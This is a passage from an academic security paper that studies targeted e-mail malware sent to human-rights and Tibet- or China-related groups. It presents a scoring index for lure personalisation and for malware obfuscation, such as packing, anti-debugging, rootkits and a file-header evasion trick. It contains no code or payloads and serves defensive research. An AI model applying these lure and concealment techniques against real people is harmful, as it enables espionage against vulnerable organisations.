The infected host may also serve as a starting point to infect other machines on the network and seek out specific information or credentials.
2.2 Targeted Malware and CSOs Targeted malware has become recognized by govern- ments and businesses around the world as a serious po- litical and corporate espionage threat.
The United States government has been particularly vocal on the threat tar- geted malware enabled espionage poses.
General Keith Alexander, current Director of the National Security Agency and Commander of United States Cyber Com- mand has stated that the theft of US intellectual property through cyber espionage constitutes the greatest transfer of wealth in history [47].
Recent widely publicized tar- geted malware intrusions against Google, RSA, the New York Times and other high profile targets have raised public awareness around these attacks [20, 44, 48] Despite this increased attention, targeted malware is not a new problem, with over a decade of public reports on these kinds of attacks [66].
However, the majority of research on targeted malware is conducted by private security companies who typically focus on campaigns against industry and government entities.
As a result, tar- geted attacks on civil society and non-governmental or- ganizations have gone underreported despite the fact that these organizations have been shown to be frequently targeted by cyber espionage campaigns.
In particular, communities related to ethnic minority groups in China including Tibetans, Uyghurs, and religious groups such as Falun Gong have been frequent targets of cyber es- pionage campaigns with reports dating back to at least 2002 [61].
In some cases, the same actors have been revealed to be targeting civil society groups, government and indus- try entities.
A notable example of this was the 2009 re- port by the Citizen Lab, a research group at the Univer- sity of Toronto, which uncovered the GhostNet cyber espionage network.
GhostNet successfully compromised prominent organizations in the Tibetan community in ad- dition to 1,295 hosts in 103 countries, including min- istries of foreign affairs, embassies, international organi- zations, and news media [25].
The GhostNet case is not an isolated example, as other reports have shown CSOs (commonly Tibetan organizations) included as targets in campaigns that are also directed to a range of govern- ment and industry entities [8,26,28,29,5456] Some of these reports include technical details on the CSO spe- cific attacks [26, 28, 54, 55] while others note them as a target but do not address in detail [8, 29, 56].
While the majority of documented targeted malware campaigns against CSOs involve China and Tibet-related groups and potentially China-related attack operators [911, 23, 25, 26, 32, 6165, 67, 68] , these kinds of at- tacks go beyond China.
Recent research and news media have reported attacks against large human rights groups focused on multiple issues and countries [31, 46], and communities related to Syria [18] and Iran [37].
Re- searchers have also uncovered the use of commercial network intrusion products used to target activists from Bahrain [38], the United Arab Emirates [36], and jour- nalists from Ethiopia [35].
3 Data collection Since our study involves dealing with e-mail messages which may contain personally identifiable information (PII) and collection of information from CSOs who need to maintain privacy of their data, we consulted with our institutional research ethics board during the design of our study.
The methods described below have been sub- mitted to and approved by this board.
3.1 Study Participants We recruited participants via three main channels: (1) an open call on our Web site, (2) outreach to organi- zations we had prior relationship with and (3) referrals from participating groups.
As part of the study these groups agreed to share technical data (e.g., e-mails with suspicious attachments) and participate in interviews at the onset and end of the study.
Their identity and any PII shared with us were kept strictly confidential.
For the purposes of our study, we focused on organiza- tions with missions concerning the promotion or protec- tion of human rights.
For purposes of this study, human rights means any or all of the rights enumerated under the Universal Declaration of Human Rights [60], the In- ternational Covenant on Civil and Political Rights [58], and the International Covenant on Economic, Social and Cultural Rights [59].
We also considered organizations on a case by case basis that have a mission that does not directly implicate human rights, but who may nonethe- less be targeted by politically motivated digital attacks because of work related to human rights issues (e.g., me- dia organizations that report on human rights violations).
In total, 10 organizations participated in the study (summarized in Table 1).
The majority of these groups work on China-related rights issues and five of these or- ganizations focus specifically on Tibetan rights.
The high rate of participation from China and Tibet-related human rights issues is due in part to our previous relationships with these communities and a significant interest and en- thusiasm expressed by the groups.
In addition to the China and Tibet-related groups, our study also includes 3 530 23rd USENIX Security Symposium USENIX Association two groups, Rights Group 1 and 2 that work on multiple human rights related issues in various countries.
The majority of organizations operate from small of- fices with less than 20 employees.
Some organizations (China Group 2, Tibet Group 2) have no physical office and consist of small virtual teams collaborating remotely, often from home offices.
Of these groups only two (China Group 1, China Group 3) have a dedicated system administrator on staff.
Other groups (Tibet Groups 1-5 China Group 2) rely on volunteers or staff with related technical skills (e.g.
Web development) to provide tech- nical support.
Rights Group 1 and Rights Group 2 are much larger organizations relative to the others in our sample.
Both organizations have over 100 employees, multiple offices, dedicated IT teams, and enterprise level computing infrastructures.
3.2 Data Sources We collect the following pieces of information from the participant groups in order to understand the malware threats they face: User-submitted e-mail messages.
Our primary data source is a collection of e-mails identified by participants as suspicious which were forwarded to a dedicated e- mail server administered by our research team.
When available these submissions included full headers, file attachments and / or links.
There are three key limita- tions to relying on user-submitted e-mails for our anal- ysis.
First, we are only able to study e-mails identified by participants as suspicious, which may bias our re- sults to only reporting threats that have been flagged by users.
Further, individuals may forget to forward e-mails in some cases.
Relying on self-reporting also creates bias between groups as individuals at different organizations may have different thresholds for reporting, which cre- ates difficulties in accurately comparing submission rates between groups.
Thus the amount of threat behaviour we see should be considered a lower bound on what oc- curs in practice.
Second, having participants forward us e-mails does not allow us to verify if the targeted organi- zation was successfully compromised by the attack (e.g., if another member of the organization open and executed malware on their machine) and what the scope of the at- tack was.
Finally, e-mail is only one vector that may be used to target organizations.
Other vectors include water- hole attacks [21], denial of service attacks, or any other vectors (e.g., physical threats like infected USB sticks).
These limitations mean that it is possible that we did not comprehensively observe all attacks experienced by our study groups and some more advanced attacks may have gone unreported.
Recognizing the limitations of e-mail submissions, we complement user submitted emails with data from Net- Table 2: Breakdown of e-mails submitted per group.
Organization Code  of e-mails China Group 1 53 China Group 2 18 China Group 3 58 Rights Group 1 28 Rights Group 2 2 Tibet Group 1 365 Tibet Group 2 177 Tibet Group 3 2 Tibet Group 4 97 Tibet Group 5 4 work Intrusion Detection System (NIDS) alerts, web- site monitoring, and interviews.
Also, upon request of study groups who were concerned of possible infection we analyzed packet capture data from suspect machines.
Through the course of this supplementary analysis we did not find indications of malware compromise that used samples that were not included in our pool of user- submitted emails.
In this paper we focus on reporting results from analyzing the user submitted emails through the TTI.
The NIDS and website monitoring components were added later in our study and do not significantly contribute to TTI analysis.
1 3.3 Overview of User-Submitted E-mails The e-mails examined in this study span over four years, from October 14, 2009 to December 31, 2013.
Data col- lection began on November 28, 2011, but China Group 3 and Tibet Group 1 forwarded us their pre-existing archives of suspicious emails, resulting in e-mail sam- ples dating back to October 14, 2009.
In total, we re- ceived 817 e-mails from the 10 groups participating in our study.
Table 2 breaks down the submissions from each groups and illustrates that submissions were highly non-uniform across the groups.
Thus, in general, we fo- cus on the groups with at least 50 e-mail submissions for our analysis.
Figure 1 shows the cumulative number of e-mail sub- missions per month over the course of the study.
For example, China Group 3 shared a set of e-mails received in 2010 by a highly targeted member of the organization, which can be observed in Figure 1.
Tibet Group 1 ac- counts for the highest number of submissions relative to the other groups due to being one of the first groups in the study and being persistently targeted by politically motivated malware.
Tibetan Groups 2 and 4, who joined the study later (in April 2012) show a similar submission rate to original Tibetan Group 1, suggesting these groups are targeted at a similar rate.
In Section 4.2, we investi- 4 USENIX Association  23rd USENIX Security Symposium 531 Table 1: Summary of groups participating in our study.
Organization Code Description Organization size China Group 1 Human rights organization focused on rights and social justice issues related to China Small (1-20 employees) China Group 2 Independent news organization reporting on China Small (1-20 employees) China Group 3 Human rights organization focused on rights and social justice issues related to China Small (1-20 employees) Rights Group 1 Human rights organization focused on multiple issues and countries Large (over 100 employees) Rights Group 2 Human rights organization focused on multiple issues and countries Large (over 100 employees) Tibet Group 1 Human rights organization focused on Tibet Small (1-20 employees) Tibet Group 2 Human rights organization focused on Tibet Small (1-20 employees) Tibet Group 3 Independent news organization reporting on Tibet Small (1-20 employees) Tibet Group 4 Human rights organization focused on Tibet Small (1-20 employees) Tibet Group 5 Human rights organization focused on Tibet Small (1-20 employees) 0 50 100 150 200 250 300 350 400 Sep-09 Sep-10 Sep-11 Sep-12 Sep-13 C um ul at iv e su bm iss io ns o ve r tim e Month China Group 1 China Group 3 Tibet Group 1 Tibet Group 2 Tibet Group 4 Figure 1: Cumulative number of messages per group over the course of our study for groups that submitted at least 50 e-mail messages.
gate commonalities in targeting of these groups.
We further classify e-mails as malicious if they include attached malware, a direct link to malware or a site with a drive-by download, or a link to a phishing page.
Fig- ure 2 shows the amount of e-mails of each type for the groups that submitted at least 25 e-mails to our system.
The most common approach employed in these e-mails was attaching a malicious payload to the e-mail itself.
However, we notice a higher rate of phishing attacks on the China-related groups and the rights groups working on multiple international human rights issues.
In partic- ular, 46 of the e-mails submitted by China Group 1, and 50 of the e-mails submitted by Rights Group 1, di- rect the user to a phishing Web site.
In the case of China Group 1, this large proportion of phishing sites is ob- served because this group configured their spam filter to forward e-mails to our system, resulting in us receiving a large number of generic, non-targeted spam.
In con- trast, the phishing observed for Rights Group 1, while low in volume (13 out of 26 messages) is targeted.
We delve more into how we rate the targeting of e-mails in Section 4.2.
The rate of submissions to our project meant that it 0 0.2 0.4 0.6 0.8 1 China 1 China 3 Rights 1 Tibet 1 Tibet 2 Tibet 4 Fr ac tio n of e -m ai l s ub m iss io ns Group Link to malware Link to phishing page Malware attachment Figure 2: Breakdown of malicious e-mails based on whether they deliver malware as an attachment, refer the use to a link with a malicious file, or attempt to phish data from the user.
was feasible to manually analyze e-mail attachments for malware as they were submitted.
This analysis gives us higher confidence in our results because AV signatures are frequently unable to detect new or modified threats, and can overlook the presence of a malicious payload that can be easily identified upon manual inspection (e.g.
shellcode in an RTF exploit).
In total, we analyzed 3,617 payload files and found 2,814 (78) of them to be ma- licious.
Section 4.3 describes our analysis methodology in more detail.
4 Targeted Threat Index Our dataset includes a wide range of targeted malware threats varying in level of both social engineering and technical complexity.
This range presents a challenge in ranking the relative sophistication of the malware and targeting tactics used by attackers.
While scoring systems such as the Common Vulnera- bility Scoring System [17] exist for the purpose of com- municating the level of severity and danger of a vul- nerability, there is no standardized system for ranking 5 532 23rd USENIX Security Symposium USENIX Association the sophistication of targeted email attacks.
This gap is likely because evaluating the sophistication of the target- ing is non-technical, and cannot be automated due to the requirement of a strong familiarity with the underlying subject material.
To address this gap we developed the Targeted Threat Index (TTI) to assign a ranking score to the targeted ma- licious emails in our dataset.
The TTI score is intended for use in prioritizing the analysis of incoming threats, as well as for getting an overall idea of how severely an organization is threatened.
The TTI score is calculated by taking a base value de- termined by the sophistication of the targeting method, which is then multiplied by a value for the technical sophistication of the malware.
The base score can be used independently to compare emails, and the combined score gives an indication of the level of effort an attacker has put into individual threats.
4.1 TTI Metric The TTI score is calculated in two parts: (Social Engineering Sophistication Base Value) (Technical Sophistication Multiplier)  TTI Score TTI scores range from 1 to 10, where 10 is the most sophisticated attack.
Scores of 0 are reserved for threats that are not targeted, even if they are malicious.
For example, spam using an attached PDF or XLS to by- pass anti-spam filters, and highly sophisticated finan- cially motivated malware, would both score 0.
This section overviews how we compute the Social Engineering Sophistication Base Value (Section 4.2) and the Technical Sophistication Multiplier (Section 4.3).
In Section 4.4, we present the results of computing and an- alyzing the TTI value of threats observed by the organi- zations in our study.
We also discuss implications and limitations of the metric.
4.2 Social Engineering Tactics We leverage a manual coding approach to measure the sophistication of social engineering tactics used in the at- tacks observed by the organizations in our study.
While automated approaches may be explored in the future, this manual analysis allows us to have high confidence in our results, especially since understanding the social engi- neering often required contextual information provided by the organizations in our study.
To quantify the level of sophistication, we manually analyse the e-mail subject line, body, attachments and header fields.
We perform an initial content analysis by coding the e-mails based on their semantic content, and then use these results to gen- erate a numerical metric quantifying the level of targeting used.
4.2.1 Content coding and analysis results We code the e-mails based on their subject line, body, at- tachments and headers using the following methodology: Subject line, body, and attachments.
The content of the subject line, body and attachments for each submitted e-mail were content coded into 8 themes, each contain- ing categories for specific instances of the theme: Coun- try / Region (referring to a specific geographical country or region) Ethnic Groups (referring to a specific ethnic group) Event (referring to a specific event) Organiza- tions (referring to specific organizations) People (refer- ring to specific persons), Political (reference to specific political issues), Technology (reference to technical sup- port), Miscellaneous (content without clear context or categories that do not fall into one of the other themes).
Table 3 summarizes the themes and provides examples of categories within each theme.
E-mail headers.
The header of each e-mail was an- alyzed to determine if the sending e-mail address was spoofed or the e-mail address was otherwise designed to appear to come from a real person and / or organiza- tion (e.g.
by registering an e-mail account that resembles a person and / or organizations name from a free mail provider).
We divide the results based on whether they attempted to spoof an organization or a specific person.
Using this manual analysis, we perform a content anal- ysis of e-mails submitted by the organizations.
Results of this analysis confirm that social engineering is an im- portant tool in the arsenal of adversaries who aim to de- liver targeted malware.
Specifically, 95 and 97 of e-mails to Chinese and Tibetan groups, respectively, in- cluded reference to relevant regional issues.
Spoofing of specific senders and organizations was also prevalent with 52 of e-mails to Tibetan groups designed to ap- pear to come from real organizations, often from within the Tibetan community.
For example, a common tar- get of spoofing was the Central Tibetan Administration (CTA), referenced in 21 of the spoofed e-mails, which administers programs for Tibetan refugees living in In- dia and advocates for human rights in Tibet.
While the number of e-mail submissions were lower for the gen- eral human rights groups, we observe similar trends there with 92 of e-mails submitted by Rights Group 1 ap- pearing to come from individuals in the group (as a result of spoofing).
In some cases we even observed the same attackers targeting multiple CSOs with customized e-mail lures.
For example, we tracked a campaign that targeted China Groups 1 and 2, and Tibet Group 1 with a remote access 6 USENIX Association  23rd USENIX Security Symposium 533 Table 3: Overview of themes and categories within the themes for grouping targeted e-mail messages.
Theme Total Categories Example Categories Country/Region 26 China, US, European Union Ethnic Groups 2 Tibetan, Uyghur Event 31 self immolation, Communist Party of China, 18th National Party Congress Organizations 32 United Nations, Central Tibetan Administration People 31 His Holiness the Dalai Lama, Hu Jintao Political 6 human rights, terrorism Technology 5 software updates, virtual private servers Miscellaneous 1 content without clear context which falls outside of the other themes trojan we call IEXPL0RE [22] China Group 1 received the malware in e-mails claiming to be from personal friends whereas China Group 2 received the malware in an e-mail containing a story about a high-rise apartment building fire in China.
In contrast, Tibet Group 1 re- ceived the malware embedded into a video of a speech by the Dalai Lama, attached to an e-mail about a year in review of Tibetan human rights issues.
4.2.2 Social Engineering Sophistication Base Value While the content analysis results clearly show attacks tailored to the interests of targeted groups, content cod- ing alone does not give a relative score of the sophistica- tion used in the attacks.
We now describe how we assign the social engineering sophistication base value to e- mails based on their level of social engineering.
To measure the targeting sophistication we assign a score that ranges from 0-5 that rates the social engineer- ing techniques used to get the victim to open the attach- ment.
This score considers the content and presentation of the e-mail message as well as the claimed sender iden- tity.
This determination also includes the content of any associated files, as malware is often implanted into legit- imate relevant documents to evade suspicion from users when the malicious documents are opened.
The Social Engineering Sophistication Base Value is assigned based on the following criteria: 0 Not Targeted: Recipient does not appear to be a spe- cific target.
Content is not relevant to the recipient.
The e-mail is likely spam or a non-targeted phishing attempt.
1 Targeted Not Customized: Recipient is a specific target.
Content is not relevant to the recipient or contains information that is obviously false with little to no valida- tion required by the recipient.
The e-mail header and/or signature do not reference a real person or organization.
2 Targeted Poorly Customized: Recipient is a specific target.
Content is generally relevant to the target but has attributes that make it appear questionable (e.g.
incom- plete text, poor spelling and grammar, incorrect address- ing).
The e-mail header and / or signature may reference a real person or organization.
3 Targeted Customized: Recipient is a specific target.
Content is relevant to the target and may repurpose legit- imate information (such as a news article, press release, conference or event website) and can be externally ver- ified (e.g.
message references information that can be found on a website).
Or, the e-mail text appears to re- purpose legitimate e-mail messages that may have been collected from public mailing lists or from compromised accounts.
The e-mail header and / or signature references a real person or organization.
4 Targeted Personalized: Recipient is a specific target.
The e-mail message is personalized for the recipient or target organization (e.g.
specifically addressed or refer- ring to individual and / or organization by name).
Con- tent is relevant to the target and may repurpose legitimate information that can be externally verified or appears to repurpose legitimate messages.
The e-mail header and / or signature references a real person or organization.
5 Targeted Highly Personalized: Recipient is a spe- cific target.
The e-mail message is individually person- alized and customized for the recipient and references confidential / sensitive information that is directly rele- vant to the target (e.g.
internal meeting minutes, com- promised communications from the organization).
The e-mail header and / or signature references a real person or organization.
Content coding of emails and determinations of so- cial engineering ratings for the TTI were performed by five independent coders who were given a code book for content categories and the TTI social engineering scale with examples to guide analysis.
We performed regu- lar inter-rater reliability checks and flagged any poten- tial edge cases and inconsistencies for discussion and re- evaluation.
Following completion of this analysis, two of the authors reviewed the social engineering base value scores to ensure consistency and conformity to the scale.
We provide specific examples of each of these targeting values in Appendix A.
7 534 23rd USENIX Security Symposium USENIX Association 0 0.2 0.4 0.6 0.8 1 1 2 3 4 5 Fr ac tio n of S ub m iss io ns Social Engineering Sophistication Base Value China Group 1 China Group 3 Tibet Group 1 Tibet Group 2 Tibet Group 4 Figure 3: Social engineering sophistication base value assigned to e-mail submissions from groups that submit- ted at least 50 e-mails.
4.2.3 Summary of Social Engineering Sophistica- tion Base Value Figure 3 shows the targeting score for organizations in our study who submitted at least 50 e-mails.
We can see that actors targeting these groups put significant effort into targeting their messages, in particular the three Ti- betan groups included in Figure 3 observe more than half of their messages with a targeting score of 3 or higher.
This result means adversaries are taking care to make the e-mail appear to come from a legitimate individual or or- ganization, and include relevant information (e.g., news reports or exchanges from public mailing lists).
Higher targeting scores, which result from actions such as per- sonalizing lures to an individual in the group, or includ- ing information that requires prior reconnaissance tend to be more rare, but we do observe instances of them.
For example, in the case of China Group 3, we observed an e-mail which received a social engineering score of 5, which claimed to be from the groups funder and refer- enced a specific meeting they had planned that was not public knowledge.
4.3 Technical Sophistication We manually analyzed all submitted emails and attach- ments to determine whether they contained politically- motivated malware.
The malware is then analyzed in de- tail to extract information such as the vulnerability, CC server (if present), and technical sophistication of the ex- ploit.
4.3.1 Assessment methodology The first step in our analysis pipeline is determining whether the email contains politically motivated malware or not.
This process involves an initial inspection for social engineering of the email message and attachment (e.g., an executable pretending to be a document).
We also correlate with other emails received as part of this project to identify already-known malware.
Well-known malware attacks (e.g., the Zeus trojan masquerading as an email from the ACH credit card payment processor, or Bredolab malware pretending to be from the DHL courier service) are not considered targeted attacks in our study, but are still kept for potential review.
Once we have identified emails which we suspect of containing politically-motivated malware, we perform the following analysis steps on any attachments to ver- ify that they indeed contain malware.
First, we run the attachment in a sandboxed VM to look for malicious ac- tivity e.g., an Office document writing files to disk or try- ing to connect to a CC server.
We also check the MD5 hash of the attachment against the Virus Total database to see if it matches existing viruses.
We also manually ex- amine the attached file for signs of malicious intent (e.g., executable payload in a PDF, shellcode or Javascript).
We exclude any graphics attached to the email which are used for social engineering (and do not contain malicious payload) from our analysis.
We follow this initial analysis with more detailed tech- nical analysis of the attachments which we confirm con- tain malware.
First, we manually verify the file type of the attachment for overview statistics.
This manual anal- ysis is necessary as the Unix file command may be mis- led by methods of manipulating important bytes in the file (e.g., replacing \rtf1 with \rtf[null]).
We then iden- tify if the vulnerability included in the malware already exists in a corpus of vulnerabilities, such as the Com- mon Vulnerabilities and Exposures (CVE) naming sys- tem.
We also perform analysis of network traffic from the attachment to identify the CC server the malware attempts to contact.
In cases where the malware does not execute in our controlled environment we manually examine the file to extract the relevant information.
On a case-by-case basis we use additional tools such as IDA [1] and OllyDbg [3] for detailed static and dy- namic analysis, respectively.
Our goal in this analysis is to identify relationships between malware campaigns between organizations, or instances of the same malware family repeatedly targeting a given organization.
By ob- serving overlapping CC servers, or mapping malware to common exploits identified by anti virus/security com- panies we can cluster attacks that we believe come from the same malware family and potentially the same adver- sary.
4.3.2 Technical Sophistication Multiplier While the previous analysis is useful for understanding the nature of threats, we also score threats numerically to aid in understanding the relative technical sophistication of their approaches.
Each malware sample is assigned one of the following values: 1 Not Protected - The sample contains no code protec- 8 USENIX Association  23rd USENIX Security Symposium 535 tion such as packing, obfuscation (e.g.
simple rotation of interesting or identifying strings), or anti-reversing tricks.
1.25 Minor Protection - The sample contains a sim- ple method of protection, such as one of the following: code protection using publicly available tools where the reverse method is available, such as UPX packing sim- ple anti-reversing techniques such as not using import tables, or a call to IsDebuggerPresent() self-disabling in the presence of AV software.
1.5 Multiple Minor Protection Techniques - The sam- ple contains multiple distinct minor code protection tech- niques (anti-reversing tricks, packing, VM / reversing tools detection) that require some low-level knowledge.
This level includes malware where code that contains the core functionality of the program is decrypted only in memory.
1.75 Advanced Protection - The sample contains mi- nor code protection techniques along with at least one advanced protection method such as rootkit functionality or a custom virtualized packer.
2 Multiple Advanced Protection Techniques - The sample contains multiple distinct advanced protection techniques, e.g.
rootkit capability, virtualized packer, multiple anti-reversing techniques, and is clearly de- signed by a professional software engineering team.
The purpose of the technical sophistication multiplier is to measure how well the payload of the malware can conceal its presence on a compromised machine.
We use a multiplier because advanced malware requires signif- icantly more time and effort (or money, in the case of commercial solutions) to customize for a particular tar- get.
We focus on the level of obfuscation used to hide pro- gram functionality and avoid detection for the follow- ing reasons: (1) It allows the compromised system to remain infected for a longer period (2) it hinders ana- lysts from dissecting a sample and developing instruc- tions to detect the malware and disinfect a compromised system (3) since most common used remote access tro- jans (RATs) have the same core functionality (e.g.
key- logging, running commands, exfiltrating data, control- ling microphones and webcams, etc.)
the level of ob- fuscation used to conceal what the malware is doing can be used to distinguish one RAT from another.
4.3.3 Summary of Technical Sophistication Multi- plier Value Figure 4 shows the technical sophistication multiplier values for e-mails submitted by the different organiza- tions in our study.
One key observation we make here is that the email-based targeted malware that was self- 0 0.2 0.4 0.6 0.8 1 1 1.25 1.5 Fr ac tio n of su bm is si on s Technical Sophistication Multiplier China Group 1 China Group 3 Tibet Group 1 Tibet Group 2 Tibet Group 4 Figure 4: Technical sophistication multiplier assigned to e-mail submissions from groups that submitted at least 50 e-mails.
reported by our study groups is relatively simple.
The highest multiplier value we see is 1.5 and even that value is seen infrequently.
The majority of malware observed is rated either 1 or 1.25 according to our technical scoring criteria, with Tibetan Groups observing a higher fraction of malware rated 1.25 and Chinese groups observing a higher fraction rated 1.
The technical sophistication multiplier value is also useful for assessing the technical evolution of threats in our study.
When we group malware into different fam- ily groups we can see some of these groups are under active development.
For example, we observe multiple versions of the Enfal [40, 49], Mongal [14], and Gh0st RAT [15] families with increasing levels of sophistica- tion and defenses in place to protect the malware code (resulting in an increase in technical multiplier from 1 to 1.25 for these families).
Since our technical multiplier value focuses on how well malware code defends and disguises itself, changes to other aspects of the code may not result in an increase in value (e.g., we observe multi- ple versions of the IMuler.
A/Revir.
A malware which all receive a score of 1).
Interestingly, when we observe both a Windows and Mac version of a given malware family, the technical score for the Mac version tended to be lower with the Mac version being relatively primitive relative to the Windows variant.
4.4 TTI Results We now show how the TTI metric can help us better char- acterize the relative threat posed by targeted malware.
Figure 5 shows the technical sophistication multiplier and maximum/minimum TTI scores for malware fami- lies observed in our dataset.
Since we primarily observe simple malware, with a technical sophistication multi- plier of 1 or 1.25, this value does a poor job of differen- tiating the threat posed by the different malware families to the CSOs.
However, by incorporating both the tech- nical sophistication and targeting base value into the TTI metric we can gain more insights into how effective these 9 536 23rd USENIX Security Symposium USENIX Association 0 1 2 3 4 5 6 7 G h0 st R AT sh ad ow ne t du oj ee n Su rtr V id gr ab Pl ug X U D P 90 02 Ez co b G h0 st R AT C C TV 0 In st a1 1 M on ga l ne ttr av el er n et pa ss Q ua ria n R e g Su bD at Sc ar .h ik n 31 02 W M IS cr ip tK id s IM ul er M ira ge la te r v ar ia nt R ile r En fa l L ur id X tre m e R at TT I/T ec hn ic al S op hi st ic at io n Sc or e Malware Family Minimum TTI Maximum TTI Technical Sophistication Multiplier Figure 5: Comparison of the maximum and minimum TTI score and technical sophistication multiplied for malware families observed in our data (sorted in decreas- ing order of maximum TTI).
threats may be in practice.
The impact of using TTI is especially apparent when trying to gain insights into the targeted malware that poses the biggest risk to CSOs.
Table 4 shows the top 5 malware families we observe in terms of technical so- phistication and in terms of TTI score.
If we consider the malware families with the highest technical sophistica- tion, we can see that their TTI values are relatively low, with maximums ranging from 1.5 to 4.5.
These tend to be malware families that are familiar to researchers.
In par- ticular, PlugX and PoisonIvy have been used in targeted attacks together [43] and PlugX is still actively used and under constant development [16].
Despite technical so- phistication, the social engineering lures of these threats are not well crafted and pose less of a risk to the CSOs whose members may be able to identify and avoid these threats.
In contrast, the top 5 malware families in terms of TTI have lower technical sophistication (1.25) but much higher levels of social engineering.
It is no surprise that threats which score the highest TTI use well known mal- ware that have been extensively documented in attacks against a variety of targets.
For example, the TTI scores reflect that Gh0st RAT continues to be seen in higher risk attacks due to its popularity amongst attackers even though it is an older and not particularly advanced tool.
Since there is no direct connection between the technical sophistication of threats and the level of social engineer- ing used to target CSOs, it is likely that different threat actors, with a different focus, are at work here.
Indeed, Gh0st RAT was discovered by the Citizen Lab in their analysis of GhostNet [25] and IEXPL0RE RAT was dis- covered and named for the first time in our work.
Another observation is that commercial malware such as FinFisher and DaVinci RCS, while being of much higher technical sophistication (relative to the samples in Table 4: Top malware families in our data set in terms of technical sophistication multiplier and in terms of final TTI score.
Technical Sophistication Family TTI Tech.
Soph.
3102 3 1.5 nAspyUpdate 1.5 1.5 PlugX 4.5 1.5 PoisonIvy 3 1.5 WMIScriptKids 3 1.5 TTI Family TTI Tech.
Soph.
.
Gh0stRAT LURK0 6.25 1.25 shadownet 6.25 1.25 conime 5 1.25 duojeen 5 1.25 iexpl0re 5 1.25 our study), do not necessarily score higher on TTI than a targeted attack with advanced social engineering and more basic malware.
For example, analyzing a FinFisher sample targeted against Bahraini activists [38] with the TTI, produces an overall TTI score that is dependent on the social targeting aspect, even though the malware is very technically advanced.
In this case, the FinFisher at- tack scores 4.0 on the TTI (base targeting score of 2 with a technical multiplier of 2).
Although the email used in the attack references the name and organization of a real journalist, the content is poorly customized, and has attributes that look questionable.
However, the techni- cal sophistication of the malware is advanced earning it a score of 2 due to multiple advanced protection tech- niques, including a custom-written virtualized packer, MBR modification, and rootkit functionality.
The sample also uses multiple minor forms of protection, including at least half a dozen anti-debugging tricks.
Even though the technical multiplier is the maximum value, the over- all TTI score is only 4.0 due to the low targeting base value.
FinFisher is only effective if it is surreptitiously installed on a users computer.
If the malware is deliv- ered through an email attachment, infection is only suc- cessful if the user opens the malicious file.
The advanced nature of this malware will cause the overall score to in- crease quickly with improved targeting, but as it still re- quires user intervention, this threat scores lower overall than attacks with highly targeted social engineering us- ing less sophisticated malware.
Similar findings can also be observed in attacks using DaVinci RCS developed by Italy-based company Hack- ing Team against activists and independent media groups from the United Arab Emirates and Morocco [36].
While the malware used in these publicly reported attacks is 10 USENIX Association  23rd USENIX Security Symposium 537 technically sophisticated, the social engineering lures employed are poorly customized for the targets result- ing in a 4.0 TTI score (targeting base value 2, technical multiplier 2).
These results support the idea that different threat ac- tors have varying focuses and levels of resources, and as a result, different methodologies for attacks.
For ex- ample, the majority of malware submitted by our study groups appear to be from adversaries that have in-house malware development capabilities and the capacity to organize and implement targeted malware campaigns.
These adversaries are spending significant effort on so- cial engineering, but generally do not use technically advanced malware.
Conversely, the adversaries using FinFisher and DaVinci RCS have bought these products rather than develop malware themselves.
However, while the FinFisher and RCS samples are technically sophisti- cated pieces of malware, the attacks we analyzed are not sophisticated in terms of social engineering tactics.
4.5 Limitations of TTI While the Targeted Threat Index gives insight into the distribution of how sophisticated threats are, we are still in the process of evaluating and refining it through in- teractions with the groups in our study and inclusion of more sophisticated threats observed in related investiga- tions in our lab.
Average TTI scores in our dataset may be skewed due to the self-reporting method we use in the study.
Very good threats are less likely to be noticed and reported while being sent to far fewer people, and low- quality emails are much more likely to be sent in bulk and stand out.
It is also possible that individuals in differ- ent groups may be more diligent in submitting samples, which could affect between group comparisons.
We are more interested, however, in worst-case (highest) scores and not in comparing the average threat severity between organizations.
Finally, this metric is calculated based on the technical sophistication of the payload, not on the specific exploit.
There is currently no method to modify the TTI score in a way similar to the temporal metrics used by the CVSS metric.
A temporal metric could be added to increase the final TTI value for 0-day vulnerabilities, or possibly to reduce the score for exploits that are easily detectable due to a public and well-known generation script, e.g.
Metasploit [2].
5 Implications Our study primarily focuses on threats that groups work- ing on human rights issues related to Tibet or China are currently facing.
While our dataset is concentrated on these types of groups, our results have implications for how CSOs can protect themselves against email-based targeted malware.
Specifically, we find that moving towards cloud-based platforms (e.g., Google Docs) instead of relying on e- mail attachments would prevent more than 95 of the e-mail malware seen by 2 out of 3 Tibetan groups that had more than 50 e-mail submissions.
Further, our results highlight the potential for lower- cost user education initiatives to guard against sophis- ticated social engineering attacks, rather than high cost technical solutions.
This observation stems from the fact that much of the malware we observe is not technically sophisticated, but rather relies on social engineering to deliver its payload by convincing users to open malicious attachments or links.
Other studies [35, 36, 38] that have revealed the use of commercial malware products against CSOs and journalists have shown that many of these cases also rely on duping users into opening malicious e-mail attachments or social engineered instant messag- ing conversations.
These incidents show that even ad- vanced targeted malware requires successful exploitation of users through social engineering tactics.
User education can be a powerful tool against the kinds of targeted attacks we observed in this study.
In- deed, the Tibetan community has taken an active ap- proach with campaigns that urge Tibetan users to not send or open attachments and suggests alternative cloud based options such as Google Docs and Dropbox for sharing documents [53].
We have also engaged the Ti- betan groups in a series of workshops to introduce train- ing curriculum which draws on examples submitted by organizations participating in our study.
We have also provided them with technical background to identify sus- picious e-mail headers and how to use free services to check the validity of suspicious links in e-mail messages.
The mitigation strategies presented here are focused on email vectors and do not consider all of the possible attacks these groups may face.
We highlight these strate- gies in particular because the majority of groups in our study identified document-based targeted malware as a high priority information security concern.
The adver- saries behind these attacks are highly motivated and will likely adapt their tactics as users change their behaviors.
For example, it is plausible that if every user in a partic- ular community began to avoid opening attachments and document-based malware infected fewer targets, attack- ers may move on to vectors such as waterhole attacks or attacks on cloud document platforms to fill the gap.
User education and awareness raising activities need to be on- going efforts that are informed by current research on the state of threats particular communities are experiencing.
Evaluation of the effectiveness of user education efforts in at risk communities and corresponding reactions from attackers is required to understand the dynamics between 11 538 23rd USENIX Security Symposium USENIX Association these processes.
6 Related Work There is a wide body of literature on filtering and detec- tion methods for spam [27,42,45,52,70,71] and phishing emails and websites [12, 34, 39, 69].
Attention has also been given to evaluating user behavior around phishing attacks and techniques for evading them [6, 30, 33].
By comparison research on detecting email vectors used for targeted malware attacks is limited.
A notable excep- tion is [4, 5], which uses threat and recipient features with a random forest classifier to detect targeted mali- cious emails in a dataset from a large Fortune 500 com- pany.
Other work has focused on imporoving detection of documents (e.g.
PDF, Microsoft Office) with embed- ded malicious code [13, 51, 57] Another area of research explores methods for model- ing the stages of targeted attacks and using these mod- els to develop defenses.
Guira and Wang [19] propose a conceptual attack model called the attack pyramid to model targeted attacks and identify features that can be detected at the various stages.
